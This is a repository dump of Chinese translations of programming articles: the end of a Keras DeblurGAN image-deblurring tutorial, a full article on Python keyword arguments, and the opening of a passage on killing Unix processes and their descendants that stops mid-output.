生成模型\n\n生成模型旨在重现清晰的图像。该网络模型是基于 [**残差网络（ResNet）**](https://arxiv.org/pdf/1512.03385.pdf) **块（block）**。它持续追踪原始模糊图像的演变。这篇文章是基于 [**UNet**](https://arxiv.org/pdf/1505.04597.pdf) 版本的, 我还没实现过。这两种结构都适合用于图像去模糊。\n\n![](https://cdn-images-1.medium.com/max/1000/1*OhuvC1YUdHyLbGO6rWWHhA.png)\n\nDeblurGAN 生成模型的网络结构 — [Source](https://arxiv.org/pdf/1711.07064.pdf)\n\n核心是应用于原始图像上采样的 **9 个残差网络块（ResNet blocks）**。让我们看看 Keras 的实现！\n\n```python\nfrom keras.layers import Input, Conv2D, Activation, BatchNormalization\nfrom keras.layers.merge import Add\nfrom keras.layers.core import Dropout\n\ndef res_block(input, filters, kernel_size=(3,3), strides=(1,1), use_dropout=False):\n    \"\"\"\n    使用序贯（sequential） API 对 Keras Resnet 块进行实例化。\n    :param input: 输入张量\n    :param filters: 卷积核数目\n    :param kernel_size: 卷积核大小\n    :param strides: 卷积步幅大小\n    :param use_dropout: 布尔值，确定是否使用 dropout\n    :return: Keras 模型\n    \"\"\"\n    x = ReflectionPadding2D((1,1))(input)\n    x = Conv2D(filters=filters,\n               kernel_size=kernel_size,\n               strides=strides,)(x)\n    x = BatchNormalization()(x)\n    x = Activation('relu')(x)\n\n    if use_dropout:\n        x = Dropout(0.5)(x)\n\n    x = ReflectionPadding2D((1,1))(x)\n    x = Conv2D(filters=filters,\n                kernel_size=kernel_size,\n                strides=strides,)(x)\n    x = BatchNormalization()(x)\n\n    # 输入和输出之间连接两个卷积层\n    merged = Add()([input, x])\n    return merged\n```\n\nResNet 层基本是卷积层，添加了输入和输出以形成最终输出。\n\n```python\nfrom keras.layers import Input, Activation, Add\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import Conv2D, Conv2DTranspose\nfrom keras.layers.core import Lambda\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.models import Model\n\nfrom layer_utils import ReflectionPadding2D, res_block\n\nngf = 64\ninput_nc = 3\noutput_nc = 3\ninput_shape_generator = (256, 256, input_nc)\nn_blocks_gen = 9\n\n\ndef generator_model():\n    \"\"\"构建生成模型\"\"\"\n    # Current version : ResNet block\n    inputs = Input(shape=image_shape)\n\n    x = ReflectionPadding2D((3, 3))(inputs)\n    x = Conv2D(filters=ngf, kernel_size=(7,7), padding='valid')(x)\n    x = BatchNormalization()(x)\n    x = Activation('relu')(x)\n\n    # Increase filter number\n    n_downsampling = 2\n    for i in range(n_downsampling):\n        mult = 2**i\n        x = Conv2D(filters=ngf*mult*2, kernel_size=(3,3), strides=2, padding='same')(x)\n        x = BatchNormalization()(x)\n        x = Activation('relu')(x)\n\n    # 应用 9 ResNet blocks\n    mult = 2**n_downsampling\n    for i in range(n_blocks_gen):\n        x = res_block(x, ngf*mult, use_dropout=True)\n\n    # 减少卷积核到3个 (RGB)\n    for i in range(n_downsampling):\n        mult = 2**(n_downsampling - i)\n        x = Conv2DTranspose(filters=int(ngf * mult / 2), kernel_size=(3,3), strides=2, padding='same')(x)\n        x = BatchNormalization()(x)\n        x = Activation('relu')(x)\n\n    x = ReflectionPadding2D((3,3))(x)\n    x = Conv2D(filters=output_nc, kernel_size=(7,7), padding='valid')(x)\n    x = Activation('tanh')(x)\n\n    # Add direct connection from input to output and recenter to [-1, 1]\n    outputs = Add()([x, inputs])\n    outputs = Lambda(lambda z: z/2)(outputs)\n\n    model = Model(inputs=inputs, outputs=outputs, name='Generator')\n    return model\n```\n\nKeras 实现生成模型\n\n按计划，9 个 ResNet 块应用于输入的上采样版本。我们添加**从输入端到输出端的连接**并除以 2 以保持标准化的输出。\n\n这就是生成模型，让我们看看判别模型。\n\n#### 判别模型\n\n判别模型的目标是确定输入图像是否是人造的。因此，判别模型的结构是卷积的，并且**输出是单一值**。\n\n```python\nfrom keras.layers import Input\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers.core import Dense, Flatten\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.models import Model\n\nndf = 64\noutput_nc = 3\ninput_shape_discriminator = (256, 256, output_nc)\n\n\ndef discriminator_model():\n    \"\"\"构建判别模型.\"\"\"\n    n_layers, use_sigmoid = 3, False\n    inputs = Input(shape=input_shape_discriminator)\n\n    x = Conv2D(filters=ndf, kernel_size=(4,4), strides=2, padding='same')(inputs)\n    x = LeakyReLU(0.2)(x)\n\n    nf_mult, nf_mult_prev = 1, 1\n    for n in range(n_layers):\n        nf_mult_prev, nf_mult = nf_mult, min(2**n, 8)\n        x = Conv2D(filters=ndf*nf_mult, kernel_size=(4,4), strides=2, padding='same')(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.2)(x)\n\n    nf_mult_prev, nf_mult = nf_mult, min(2**n_layers, 8)\n    x = Conv2D(filters=ndf*nf_mult, kernel_size=(4,4), strides=1, padding='same')(x)\n    x = BatchNormalization()(x)\n    x = LeakyReLU(0.2)(x)\n\n    x = Conv2D(filters=1, kernel_size=(4,4), strides=1, padding='same')(x)\n    if use_sigmoid:\n        x = Activation('sigmoid')(x)\n\n    x = Flatten()(x)\n    x = Dense(1024, activation='tanh')(x)\n    x = Dense(1, activation='sigmoid')(x)\n\n    model = Model(inputs=inputs, outputs=x, name='Discriminator')\n    return model\n```\n\nKeras实现判别模型\n\n最后一步是构建完整模型。这个 GAN 的 **特殊性**在于输入是真实图像而不是噪声。因此，我们能获得生成模型输出的直接反馈。 \n\n```python\nfrom keras.layers import Input\nfrom keras.models import Model\n\ndef generator_containing_discriminator_multiple_outputs(generator, discriminator):\n    inputs = Input(shape=image_shape)\n    generated_images = generator(inputs)\n    outputs = discriminator(generated_images)\n    model = Model(inputs=inputs, outputs=[generated_images, outputs])\n    return model\n```\n\n让我们看看如何通过使用两个损失函数来充分利用这种特殊性。\n\n* * *\n\n### 训练\n\n#### 损失函数\n\n我们在两个层级抽取损失值，一个是在生成模型的末端，另一个在整个模型的末端。\n\n首先是直接根据生成模型的输出计算**感知损失（perceptual loss）**。该损失值确保了 GAN 模型是面向去模糊任务的。它比较了VGG的 **第一个卷积**输出。\n\n```python\nimport keras.backend as K\nfrom keras.applications.vgg16 import VGG16\nfrom keras.models import Model\n\nimage_shape = (256, 256, 3)\n\ndef perceptual_loss(y_true, y_pred):\n    vgg = VGG16(include_top=False, weights='imagenet', input_shape=image_shape)\n    loss_model = Model(inputs=vgg.input, outputs=vgg.get_layer('block3_conv3').output)\n    loss_model.trainable = False\n    return K.mean(K.square(loss_model(y_true) - loss_model(y_pred)))\n```\n\n第二个损失值是计算整个模型的输出 **Wasserstein loss**。它是 **两张图像之间的平均差异**。它以改善对抗生成网络收敛性而闻名.\n\n```python\nimport keras.backend as K\n\ndef wasserstein_loss(y_true, y_pred):\n    return K.mean(y_true*y_pred)\n```\n\n#### 训练过程\n\n第一步是载入数据以及初始化模型。我们使用自定义函数载入数据集以及为模型添加 Adam 优化器。我们通过设置 Keras 可训练选项以防止判别模型进行训练。\n\n```python\n# 载入数据集\ndata = load_images('./images/train', n_images)\ny_train, x_train = data['B'], data['A']\n\n# 初始化模型\ng = generator_model()\nd = discriminator_model()\nd_on_g = generator_containing_discriminator_multiple_outputs(g, d)\n\n# 初始化优化器\ng_opt = Adam(lr=1E-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\nd_opt = Adam(lr=1E-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\nd_on_g_opt = Adam(lr=1E-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n\n# 编译模型\nd.trainable = True\nd.compile(optimizer=d_opt, loss=wasserstein_loss)\nd.trainable = False\nloss = [perceptual_loss, wasserstein_loss]\nloss_weights = [100, 1]\nd_on_g.compile(optimizer=d_on_g_opt, loss=loss, loss_weights=loss_weights)\nd.trainable = True\n```\n\n然后，我们启动迭代，同时将数据集按批量划分。\n\n```python\nfor epoch in range(epoch_num):\n  print('epoch: {}/{}'.format(epoch, epoch_num))\n  print('batches: {}'.format(x_train.shape[0] / batch_size))\n\n  # 将图像随机划入不同批次\n  permutated_indexes = np.random.permutation(x_train.shape[0])\n\n  for index in range(int(x_train.shape[0] / batch_size)):\n      batch_indexes = permutated_indexes[index*batch_size:(index+1)*batch_size]\n      image_blur_batch = x_train[batch_indexes]\n      image_full_batch = y_train[batch_indexes]\n```\n\n最后，我们根据两种损失先后训练生成模型和判别模型。我们用生成模型产生假输入。我们训练判别模型来区分虚假和真实输入，然后我们训练整个模型。\n\n```python\nfor epoch in range(epoch_num):\n  for index in range(batches):\n    # [Batch Preparation]\n\n    # 生成假输入\n    generated_images = g.predict(x=image_blur_batch, batch_size=batch_size)\n    \n    # 在真假输入上训练多次判别模型\n    for _ in range(critic_updates):\n        d_loss_real = d.train_on_batch(image_full_batch, output_true_batch)\n        d_loss_fake = d.train_on_batch(generated_images, output_false_batch)\n        d_loss = 0.5 * np.add(d_loss_fake, d_loss_real)\n\n    d.trainable = False\n    # Train generator only on discriminator's decision and generated images\n    d_on_g_loss = d_on_g.train_on_batch(image_blur_batch, [image_full_batch, output_true_batch])\n\n    d.trainable = True\n```\n\n你可以参考 [Github](https://www.github.com/raphaelmeudec/deblur-gan) 看整个循环！\n\n#### **一些材料**\n\n我在 Deep Learning AMI (version 3.0) 中使用了 [AWS Instance](https://aws.amazon.com/fr/ec2/instance-types/p2/) (p2.xlarge) 在 [GOPRO 数据集](https://drive.google.com/file/d/1H0PIXvJH4c40pk7ou6nAwoxuR4Qh_Sa2/view?usp=sharing) 精简版下，训练时间约为5小时（50 次迭代）。\n\n#### 图像去模糊结果\n\n![](https://cdn-images-1.medium.com/max/800/1*W5KK68s2UslTQO98f1K73w.png)\n\n从左到右: 原始图像、模糊图像、GAN 输出\n\n上面的输出是我们 Keras Deblur GAN 的结果。即使在严重模糊的情况下，网络也能够减少并形成更令人信服的图像。车灯更清晰，树枝更清晰。\n\n![](https://cdn-images-1.medium.com/max/800/1*RQ4fqQb30amM_Pxso0UhnA.png)\n\n左: GOPRO 测试图像, 右: GAN 输出.\n\n一个限制是**图像上的诱导模式**，这可能是由于使用 VGG 作为损失而引起的。\n\n![](https://cdn-images-1.medium.com/max/800/1*uQRVkF3-ktbTqRUuJ0wFCQ.png)\n\n左: GOPRO 测试图像, 右: GAN 输出.\n\n我希望你喜欢这篇关于利用生成对抗模型进行图像去模糊的文章。欢迎发表评论，关注我们或 [与我联系](https://www.sicara.com/contact-2/?utm_source=blog&utm_campaign=keras-generative-adversarial-networks-image-deblurring-45e3ab6977b5).\n\n如果您对计算机视觉感兴趣，可以看看我们以前写的一篇文章 [**Keras 实现基于内容的图像检索**](https://blog.sicara.com/keras-tutorial-content-based-image-retrieval-convolutional-denoising-autoencoder-dc91450cc511)。以下是生成对抗网络的资源列表。\n\n![](https://cdn-images-1.medium.com/max/800/1*HjooSUMv2MVXnOhqvhiuow.png)\n\n左：GOPRO 测试图像，右：GAN 输出。\n\n#### 生成对抗网络的资源列表。\n\n- [NIPS 2016: 对抗生成网络（Generative Adversarial Networks）](https://channel9.msdn.com/Events/Neural-Information-Processing-Systems-Conference/Neural-Information-Processing-Systems-Conference-NIPS-2016/Generative-Adversarial-Networks) by Ian Goodfellow\n- [ICCV 2017: 对抗生成网络教程](https://sites.google.com/view/iccv-2017-gans/schedule)\n\n- [对抗生成网络的 Keras 实现](https://github.com/eriklindernoren/Keras-GAN) by [Eric Linder-Noren](http://www.eriklindernoren.se/)\n- [对抗生成网络资源列表](https://deeplearning4j.org/generative-adversarial-network) by deeplearning4j\n- [超棒的对抗生成网络](https://github.com/nightrome/really-awesome-gan) by [Holger Caesar](http://www.it-caesar.com/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/keyword-arguments-in-python.md",
    "content": "> * 原文地址：[Keyword (Named) Arguments in Python: How to Use Them](http://treyhunner.com/2018/04/keyword-arguments-in-python/)\n> * 原文作者：[Trey Hunner](http://treyhunner.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/keyword-arguments-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/keyword-arguments-in-python.md)\n> * 译者：[sisibeloved](https://github.com/sisibeloved)\n> * 校对者：[Starriers](https://github.com/Starriers)、[ALVINYEH](https://github.com/ALVINYEH)\n\n# Python 中的键值（具名）参数：如何使用它们\n\n键值参数是 Python 的一个特性，对于从其他编程语言转到 Python 的人来说，不免看起来有些奇怪。人们在学习 Python 的时候，经常要花很长时间才能理解键值参数的各种特性。\n\n在 Python 教学中，我经常希望我能三言两语就把键值参数丰富的相关特性讲清楚。但愿这篇文章能够达到这个效果。\n\n在这篇文章中我会解释键值参数是什么和为什么要用到它。随后我会细数一些更为深入的使用技巧，就算老 Python 程序员也可能会忽略，因为 Python 3 的最近一些版本变动了许多东西。如果你已经是一个资深的 Python 程序员，你可以直接跳到结尾。\n\n## 什么是键值参数？\n\n让我们来看看到底什么是键值参数（也叫做具名参数）。\n\n先看看下面这个 Python 函数：\n\n```python\nfrom math import sqrt\n\ndef quadratic(a, b, c):\n    x1 = -b / (2*a)\n    x2 = sqrt(b**2 - 4*a*c) / (2*a)\n    return (x1 + x2), (x1 - x2)\n```\n\n当我们调用这个函数时，我们有两种不同的方式来传递这三个参数。\n\n我们可以像这样以占位参数的形式传值：\n\n```python\n>>> quadratic(31, 93, 62)\n(-1.0, -2.0)\n```\n\n或者像这样以键值参数的形式：\n\n```python\n>>> quadratic(a=31, b=93, c=62)\n(-1.0, -2.0)\n```\n\n当用占位方式传值时，参数的顺序至关重要：\n\n```python\n>>> quadratic(31, 93, 62)\n(-1.0, -2.0)\n>>> quadratic(62, 93, 31)\n(-0.5, -1.0)\n```\n\n但是加上参数名就没关系了：\n\n```python\n>>> quadratic(a=31, b=93, c=62)\n(-1.0, -2.0)\n>>> quadratic(c=62, b=93, a=31)\n(-1.0, -2.0)\n```\n\n当我们使用键值/具名参数时，有意义的是参数的名字，而不是它的位置：\n\n```python\n>>> quadratic(a=31, b=93, c=62)\n(-1.0, -2.0)\n>>> quadratic(c=31, b=93, a=62)\n(-0.5, -1.0)\n```\n\n所以不像许多其它的编程语言，Python 知晓函数接收的参数名称。\n\n如果我们使用帮助函数，Python 会把三个参数的名字告诉我们：\n\n```python\n>>> help(quadratic)\nHelp on function quadratic in module __main__:\n\nquadratic(a, b, c)\n```\n\n注意，可以通过占位和具名混合的方式来调用函数：\n\n```python\n>>> quadratic(31, 93, c=62)\n(-1.0, -2.0)\n```\n\n这样确实很方便，但像我们写的这个函数使用全占位参数或全键值参数会更清晰。\n\n## 为什么要使用键值参数？\n\n在 Python 中调用函数的时候，你通常要在键值参数和占位参数之间二者择一。使用键值参数可以使函数调用更加明确。\n\n看看这段代码：\n\n```python\ndef write_gzip_file(output_file, contents):\n    with GzipFile(None, 'wt', 9, output_file) as gzip_out:\n        gzip_out.write(contents)\n```\n\n这个函数接收一个 `output_file` 文件对象和 `contents` 字符串，然后把一个经过 gzip 压缩的字符串写入输出文件。\n\n下面这段代码做了相同的事，只是用键值参数代替了占位参数：\n\n```python\ndef write_gzip_file(output_file, contents):\n    with GzipFile(fileobj=output_file, mode='wt', compresslevel=9) as gzip_out:\n        gzip_out.write(contents)\n```\n\n可以看到使用键值参数调用这种方式可以更清楚地看出这三个参数的意义。\n\n我们在这里去掉了一个参数。第一个参数代表 `filename`，并且有一个 `None` 的默认值。这里我们不需要 `filename`，因为我们应该只传一个文件对象或者只传一个文件名给 `GzipFile`，而不是两者都传。\n\n我们还能再去掉一个参数。\n\n还是原来的代码，不过这次压缩率被去掉了，以默认的 `9` 代替：\n\n```python\ndef write_gzip_file(output_file, contents):\n    with GzipFile(fileobj=output_file, mode='wt') as gzip_out:\n        gzip_out.write(contents)\n```\n\n因为使用了具名参数，我们得以去掉两个参数，并把余下 2 个参数以合理的顺序排列（文件对象比『wt』获取模式更重要）。\n\n当我们使用键值参数时：\n\n1.  我们可以去除有默认值的参数\n2.  我们可以以一种更为可读的方式将参数重新排列\n3.  通过名称调用参数更容易理解参数的含义\n\n## 哪里能看到键值函数\n\n你可以在 Python 中的很多地方看到键值参数。\n\nPython 有一些接收无限量的占位参数的函数。这些函数有时可以接收用来定制功能的参数。这些参数必须使用具名参数，与无限量的占位参数区分开来。\n\n内置的 `print` 函数的可选属性 `sep`、`end`、`file` 和 `flush`，只能接收键值参数：\n\n```python\n>>> print('comma', 'separated', 'words', sep=', ')\ncomma, separated, words\n```\n\n`itertools.zip_longest` 函数的 `fillvalue` 属性（默认为 `None`），同样只接收键值参数：\n\n```python\n>>> from itertools import zip_longest\n>>> list(zip_longest([1, 2], [7, 8, 9], [4, 5], fillvalue=0))\n[(1, 7, 4), (2, 8, 5), (0, 9, 0)]\n```\n\n事实上，一些 Python 中的函数强制参数被具名，尽管以占位方式**可以**清楚地指定。\n\n在 Python 2 中，`sorted` 函数可以以占位或键值的方式接收参数：\n\n```python\n>>> sorted([4, 1, 8, 2, 7], None, None, True)\n[8, 7, 4, 2, 1]\n>>> sorted([4, 1, 8, 2, 7], reverse=True)\n[8, 7, 4, 2, 1]\n```\n\n但是 Python 3 中的 `sorted` 要求迭代器之后的所有参数都以键值的形式指定：\n\n```python\n>>> sorted([4, 1, 8, 2, 7], None, True)\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: must use keyword argument for key function\n>>> sorted([4, 1, 8, 2, 7], reverse=True)\n[8, 7, 4, 2, 1]\n```\n\n不仅仅是 Python 的内置函数，标准库和第三方库中键值参数同样很常见。\n\n## 使你的参数具名\n\n通过使用 `*` 操作符来匹配所有占位参数然后在 `*` 之后指定可选的键值参数，你可以创建一个接收任意数量的占位参数和特定数量的键值参数的函数。\n\n这儿有个例子：\n\n```python\ndef product(*numbers, initial=1):\n    total = initial\n    for n in numbers:\n        total *= n\n    return total\n```\n\n**注意**：如果你之前没有看过 `*` 的语法，`*numbers` 会把所有输入 `product` 函数的占位参数放到一个 `numbers` 变量指向的元组。\n\n上面这个函数中的 `initial` 参数必须以键值形式指定：\n\n```python\n>>> product(4, 4)\n16\n>>> product(4, 4, initial=1)\n16\n>>> product(4, 5, 2, initial=3)\n120\n```\n\n注意 `initial` 有一个默认值。你也可以用这种语法指定**必需的**键值参数：\n\n```python\ndef join(*iterables, joiner):\n    if not iterables:\n        return\n    yield from iterables[0]\n    for iterable in iterables[1:]:\n        yield joiner\n        yield from iterable\n```\n\n`joiner` 变量没有默认值，所以它必须被指定：\n\n```python\n>>> list(join([1, 2, 3], [4, 5], [6, 7], joiner=0))\n[1, 2, 3, 0, 4, 5, 0, 6, 7]\n>>> list(join([1, 2, 3], [4, 5], [6, 7], joiner='-'))\n[1, 2, 3, '-', 4, 5, '-', 6, 7]\n>>> list(join([1, 2, 3], [4, 5], [6, 7]))\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: join() missing 1 required keyword-only argument: 'joiner'\n```\n\n需要注意的是这种把参数放在 `*` 后面的语法只在 Python 3 中有效。Python 2 中没有要求参数必须要被命名的语法。\n\n## 只接收键值参数而不接收占位参数\n\n如果你想只接收键值参数而不接收任何占位参数呢？\n\n如果你想接收一个键值参数，并且不打算接收任何 `*` 占位参数，你可以在 `*` 后面不带任何字符。\n\n比如这儿有一个修改过的 Django 的 `django.shortcuts.render` 函数：\n\n```python\ndef render(request, template_name, context=None, *, content_type=None, status=None, using=None):\n    content = loader.render_to_string(template_name, context, request, using=using)\n    return HttpResponse(content, content_type, status)\n```\n\n与 Django 现在的 `render` 函数实现不一样，这个版本不允许以所有参数都以占位方式指定的方式来调用 `render`。`context_type`、`status` 和 `using` 参数必须通过`名称`来指定。\n\n```python\n>>> render(request, '500.html', {'error': error}, status=500)\n<HttpResponse status_code=500, \"text/html; charset=utf-8\">\n>>> render(request, '500.html', {'error': error}, 500)\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: render() takes from 2 to 3 positional arguments but 4 were given\n```\n\n就像带有无限制占位参数时的情况一样，这些键值参数也可以是必需的。这里有一个函数，有四个必需的键值参数：\n\n```python\nfrom random import choice, shuffle\nUPPERCASE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nLOWERCASE = UPPERCASE.lower()\nDIGITS = \"0123456789\"\nALL = UPPERCASE + LOWERCASE + DIGITS\n\ndef random_password(*, upper, lower, digits, length):\n    chars = [\n        *(choice(UPPERCASE) for _ in range(upper)),\n        *(choice(LOWERCASE) for _ in range(lower)),\n        *(choice(DIGITS) for _ in range(digits)),\n        *(choice(ALL) for _ in range(length-upper-lower-digits)),\n    ]\n    shuffle(chars)\n    return \"\".join(chars)\n```\n\n这个函数要求所有函数都必须以名称指定：\n\n```python\n>>> random_password(upper=1, lower=1, digits=1, length=8)\n'oNA7rYWI'\n>>> random_password(upper=1, lower=1, digits=1, length=8)\n'bjonpuM6'\n>>> random_password(1, 1, 1, 8)\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: random_password() takes 0 positional arguments but 4 were given\n```\n\n要求参数具名可以使函数的调用更加清楚明白。\n\n这样调用函数的意图：\n\n```python\n>>> password = random_password(upper=1, lower=1, digits=1, length=8)\n```\n\n要比这样调用更为清楚：\n\n```python\n>>> password = random_password(1, 1, 1, 8)\n```\n\n再强调一次，这种语法只在 Python 3 中适用。\n\n## 匹配通配键值参数\n\n怎样写出一个匹配任意数量键值参数的函数？\n\n举个例子，字符串格式化方法接收你传递给它的任意键值参数：\n\n```python\n>>> \"My name is {name} and I like {color}\".format(name=\"Trey\", color=\"purple\")\n'My name is Trey and I like purple'\n```\n\n怎么样才能写出这样的函数？\n\nPython 允许函数匹配任意输入的键值参数，通过在定义函数的时候使用 `**` 操作符：\n\n```python\ndef format_attributes(**attributes):\n    \"\"\"Return a string of comma-separated key-value pairs.\"\"\"\n    return \", \".join(\n        f\"{param}: {value}\"\n        for param, value in attributes.items()\n    )\n```\n\n\n`**` 操作符允许 `format_attributes` 函数接收任意数量的键值参数。输入的参数会被存在一个叫 `attributes` 的字典里面。\n\n这是我们的函数的使用示例：\n\n```python\n>>> format_attributes(name=\"Trey\", website=\"http://treyhunner.com\", color=\"purple\")\n'name: Trey, website: http://treyhunner.com, color: purple'\n\n```\n\n## 用通配键值参数调用函数\n\n就像你可以定义函数接收通配键值参数一样，你也可以在调用函数时传入通配键值参数。\n\n这就意味着你可以基于字典中的项向函数传递键值参数。\n\n这里我们从一个字典中手动提取键/值对，并把它们以键值参数的形式传入函数中：\n\n```python\n>>> items = {'name': \"Trey\", 'website': \"http://treyhunner.com\", 'color': \"purple\"}\n>>> format_attributes(name=items['name'], website=items['website'], color=items['color'])\n'name: Trey, website: http://treyhunner.com, color: purple'\n```\n\n这种在代码函数调用时将代码写死的方式需要我们在写下代码的时候就知道所使用的字典中的每一个键。当我们不知道字典中的键时，这种方法就不奏效了。\n\n我们可以通过 `**` 操作符将字典中的项拆解成函数调用时的键值参数，来向函数传递通配键值参数：\n\n```python\n>>> items = {'name': \"Trey\", 'website': \"http://treyhunner.com\", 'color': \"purple\"}\n>>> format_attributes(**items)\n'name: Trey, website: http://treyhunner.com, color: purple'\n```\n\n这种向函数传递通配键值参数和在函数内接收通配键值参数（就像我们之前做的那样）的做法在使用类继承时尤为常见：\n\n```python\ndef my_method(self, *args, **kwargs):\n    print('Do something interesting here')\n    super().my_method(*args, **kwargs)  # 使用传入的参数调用父类的方法\n```\n\n**注意**：同样地我们可以使用 `*` 操作符来匹配和拆解占位参数。\n\n## 顺序敏感性\n\n自 Python 3.6 起，函数将会保持键值参数传入的顺序（参见 [PEP 468](https://www.python.org/dev/peps/pep-0468/)）。这意味着当使用 `**` 来匹配键值参数时，用来储存结果的字典的键将会与传入参数拥有同样的顺序。\n\n所以在 Python 3.6 之后，你将**不会再**看到这样的情况：\n\n```python\n>>> format_attributes(name=\"Trey\", website=\"http://treyhunner.com\", color=\"purple\")\n'website: http://treyhunner.com, color: purple, name: Trey'\n```\n\n相应地，使用 Python 3.6+，参数会永远保持传入的顺序：\n```python\n>>> format_attributes(name=\"Trey\", website=\"http://treyhunner.com\", color=\"purple\")\n'name: Trey, website: http://treyhunner.com, color: purple'\n```\n\n## 概括 Python 中的键值参数\n\n一个参数的**位置**传达出来的信息通常不如**名称**有效。因此在调用函数时，如果能使它的意义更清楚，考虑为你的参数赋名。\n\n定义一个新的函数时，不要再考虑哪个参数应该被指定为键值参数了。使用 `*` 操作符把这些参数都指定成键值参数。\n\n牢记你可以使用 `**` 操作符来接受和传递通配键值参数。\n\n重要的对象应该要有名字，你可以使用键值参数来给你的对象赋名！\n\n## 喜欢我的教学风格吗？\n\n想要学习更多关于 Python 的知识？我会通过实时聊天每周分享我喜爱的 Python 资源并回答有关 Python 的问题。在下方登记，我会回答**你的问题**并教你如何让你的 Python 代码更加生动易懂，更加 Python 化。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/killing-a-process-and-all-of-its-descendants.md",
    "content": "> * 原文地址：[Killing a process and all of its descendants](http://morningcoffee.io/killing-a-process-and-all-of-its-descendants.html)\n> * 原文作者：[igor_sarcevic](https://twitter.com/igor_sarcevic)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/killing-a-process-and-all-of-its-descendants.md](https://github.com/xitu/gold-miner/blob/master/TODO1/killing-a-process-and-all-of-its-descendants.md)\n> * 译者：[江五渣](http://jalan.space)\n> * 校对者：[TokenJan](https://github.com/TokenJan)，[portandbridge](https://github.com/portandbridge)\n\n# 如何杀死一个进程和它的所有子进程\n\n在类 Unix 系统中杀死进程比预期中更棘手。上周我在调试一个在 Semaphore 中终止作业的问题。更具体地说，这是一个有关于在作业中终止正在运行的进程的问题。以下是我从中学到的要点：\n\n* 类 Unix 操作系统有着复杂的进程间关系：父子进程、进程组、会话、会话的领导进程。但是，在 Linux 与 MacOS 等操作系统中，这其中的细节并不统一。符合 POSIX 的操作系统支持使用负 PID 向进程组发送信号。\n* 使用系统调用向会话中的所有进程发送信号并非易事。\n* 用 exec 启动的子进程将继承其父进程的信号配置。例如，如果父进程忽略 SIGHUP 信号，它的子进程也会忽略 SIGHUP 信号。\n* “孤儿进程组内发生了什么”这一问题的答案并不简单。\n\n## 杀死父进程并不会同时杀死子进程\n\n每个进程都有一个父进程。我们可以使用 `pstree` 或 `ps` 工具来观察这一点。\n\n```shell\n# 启动两个虚拟进程\n$ sleep 100 &\n$ sleep 101 &\n\n$ pstree -p\ninit(1)-+\n        |-bash(29051)-+-pstree(29251)\n                      |-sleep(28919)\n                      `-sleep(28964)\n\n$ ps j -A\n PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND\n    0     1     1     1 ?           -1 Ss       0   0:03 /sbin/init\n29051  1470  1470 29051 pts/2     2386 SN    1000   0:00 sleep 100\n29051  1538  1538 29051 pts/2     2386 SN    1000   0:00 sleep 101\n29051  2386  2386 29051 pts/2     2386 R+    1000   0:00 ps j -A\n    1 29051 29051 29051 pts/2     2386 Ss    1000   0:00 -bash\n```\n\n调用 `ps` 命令可以显示 PID（进程 ID） 和 PPID（父进程 ID）。\n\n我对父子进程间的关系有着错误的假设。我认为如果我杀死了父进程，那么也会杀死它的所有子进程。然而这是错误的。相反，子进程将会成为孤儿进程，而 init 进程将重新成为它们的父进程。\n\n让我们看看通过终止 bash 进程（sleep 命令的当前父进程）来重建进程间的父子关系后发生了哪些变化。\n\n```shell\n$ kill 29051 # 杀死 bash 进程\n\n$ pstree -A\ninit(1)-+\n        |-sleep(28919)\n        `-sleep(28965)\n```\n\n于我而言，重新分配父进程的行为很奇怪。例如，当我使用 SSH 登录一台服务器，启动一个进程，然后退出时，我启动的进程将会被终止。我错误地认为这是 Linux 上的默认行为。当我离开一个 SSH 会话时，进程的终止与进程组、会话的领导进程和控制终端都有关。\n\n## 什么是进程组和会话领导进程？\n\n让我们再次观察上述事例中 `ps j` 命令的输出。\n\n```shell\n$ ps j -A\n PPID   PID  